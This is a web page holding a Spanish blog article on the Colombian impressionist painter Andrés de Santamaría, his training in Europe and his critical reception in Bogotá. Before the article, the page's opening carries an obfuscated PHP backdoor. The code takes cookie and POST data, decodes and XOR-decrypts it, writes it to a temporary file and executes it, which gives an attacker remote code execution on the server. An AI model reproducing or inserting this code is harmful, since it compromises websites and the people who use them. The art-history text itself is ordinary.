$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Andrés de Santamaría: Un líder incomprendido – www.interferencechannel.com

Andrés de Santamaría: Un líder incomprendido

Autorretrato. 1942.


Aunque nació en Bogotá, Colombia en 1860, este artista recibió toda su educación en Europa. Primero vivió en Inglaterra, antes de que su padre fuera designado como agente diplomático en Francia, luego vivió por periodos entre Bélgica y Francia, en donde estudió en la Académie Des Beaux Arts de Paris y trabajó en los talleres de Gervex y Ferdinand Humbert.

Mientras estuvo en París, conoció a Manet, Gaugin, Monet, Denis y otros artistas modernos de la época. Obviamente, el contacto con ellos influenció bastante su estilo y su técnica: Pinceladas rápidas y pastosas, colores separados y un alto valor de la luz y sus efectos en los tonos, así como manchas pastosas que llenaron de textura sus lienzos, que ilustraban temas modernos y al aire libre. Estos rasgos marcaron una clara diferencia con la Academia Clásica Colombiana.

Cuando regresó a Colombia en 1893 (poeticamente a los 33 años de edad) y se enfrentó al conservador mundo del arte de la época, liderado por Epifanio Garay (Director de la Academia de Bellas Artes) y por Ricardo Acebedo Bernal, su obra impactó a críticos y artistas. Parecida a la reacción al impresionismo en Francia, él y su obra recibieron fuertes críticas negativas sobre la selección de temas, la técnica de aplicación de colores y su “falta de patriotismo” (por cuanto en su obra no son abundantes las pinturas sobre próceres y militares).

El impacto de Santamaría dividió a los dos críticos colombianos más importantes de aquel entonces: Baldomero Sanín Cano, un liberal y crítico auto proclamado “moderno”, quien apoyó su obra e hizo comentarios positivos al respecto de algunas de sus pinturas; Sanín Cano llamó a Santamaría “un revolucionario”, mientras alabó sus nuevas formas de usar los colores (especialmente el púrpura) “con su ayuda, el arcoíris nos ha brindado su secretos cariñosamente”. Recomiendo bastante la lectura de sus textos titulados: El Impresionismo en Bogotá. Por otro lado, Maximiliano Grillo, un conservador, después de guardar un largo silencio sobre Santamaría, escribió un ensayo llamado: La psicología del impresionismo como respuesta a los textos de Sanín, en el que inició con la contundente frase: “Lo meramente verbal en  poesía y lo que solo retiene en pintura la impresión momentánea de la luz, no parecen estar destinados a una larga vida”, una profecía poco acertada sobre el éxito y lo perenne del simbolismo y el impresionismo. Grillo también escribió sobre Santamaría cuando éste se presentó con dos obras en Le Salon de Paris de 1927. En aquella oportunidad, Grillo escribió una extensa crítica sobre la exposición en la que dedicó un pequeño apartado al bogotano refiriéndose a “la sinceridad de su arte y el atrevimiento de su apostura”

A pesar de las críticas negativas (o al silencio del mundo del arte frente a su obra), y tal vez gracias a los contactos políticos de su familia, Santamaría fue nombrado en 1904 director de la  Academia de Bellas Artes de Colombia. Ocupando este cargo, fundó una Academia anexa para artes decorativas y profesiones industriales, en la que se impartían cursos de mecánica, escultura en madera y piedra, fundición y elaboración de joyas en plata. También se comenzaron a realizar talleres de pintura con modelos desnudos.       

Las lavanderas del Sena, 1887


Santamaría regresó a Europa en 1911, donde murió a los 85 años de edad. Su obra ha sido expuesta, entre otros, en Bélgica, Francia, Inglaterra, y varias veces en Colombia. Es considerado por algunos críticos y filósofos del arte como un post-impresionista o como un expresionista sui-generis (QUINCHE, Víctor Alberto. 2014).  Más allá de esos comentarios, fue el líder indiscutido del impresionismo colombiano y en general, del arte moderno en Colombia.

Niño Verde, 1913.



Daniel Toro.

Comments are closed.